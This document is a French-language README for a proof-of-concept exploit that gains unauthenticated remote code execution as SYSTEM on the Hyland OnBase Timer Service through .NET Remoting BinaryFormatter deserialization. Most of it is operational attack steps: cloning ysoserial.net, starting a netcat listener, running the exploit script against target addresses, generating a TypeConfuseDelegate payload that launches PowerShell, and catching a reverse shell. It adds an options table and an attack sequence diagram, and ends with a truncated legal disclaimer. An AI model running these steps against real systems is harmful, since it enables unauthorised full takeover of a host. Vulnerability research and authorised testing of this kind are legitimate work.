
Preuve de concept d'exploitation pour l'exécution de code à distance non authentifiée dans le service Hyland OnBase Timer via la désérialisation BinaryFormatter de .NET Remoting, permettant d'obtenir les privilèges SYSTEM.
Ce dépôt contient un exploit Proof‑of‑Concept pour la vulnérabilité d'exécution de code à distance non authentifiée du Hyland OnBase Timer Service via une désérialisation .NET Remoting BinaryFormatter non sécurisée.
La vulnérabilité permet à un attaquant non authentifié d'envoyer une charge utile BinaryFormatter conçue à l'endpoint du Timer Service et d'exécuter du code arbitraire en tant que NT AUTHORITY\SYSTEM.
Le Timer Service expose un endpoint .NET Remoting :
http://TARGET:8900/TimerServiceAPI.rem
Le service accepte des objets BinaryFormatter non authentifiés. En fournissant une chaîne de gadgets malveillante (ysoserial.net), l'exécution de commandes arbitraires se produit lors de la désérialisation.
Installer la dépendance Python :
pip install requests
Télécharger ysoserial.net :
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
Le script affiche une commande ysoserial. Exécutez-la dans un autre terminal (Windows / Mono) :
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Appuyez sur ENTRÉE dans le terminal de l'exploit après la génération de la charge utile.
Si vulnérable → le shell inversé se connecte.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Option | Description |
|---|---|
| target | IP ou nom d'hôte cible |
| --port | Port du Timer Service (défaut 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | IP de l'attaquant |
| --lport | Port de l'écouteur |
| --gadget | Chaîne de gadgets ysoserial |
L'exploit est aveugle
Succès = rappel du shell inversé
Le service s'exécute en tant que SYSTEM
Essayez un gadget alternatif si bloqué :
sequenceDiagram
participant A as Attaquant
participant Y as ysoserial.net
participant T as Service Timer OnBase cible
participant S as Shell SYSTEM
A->>A: Démarrer l'écouteur netcat
A->>Y: Générer la charge utile BinaryFormatter
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Exécuter la chaîne de gadgets
S-->>A: Connexion du shell inverséCet exploit est fourni pour :
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale.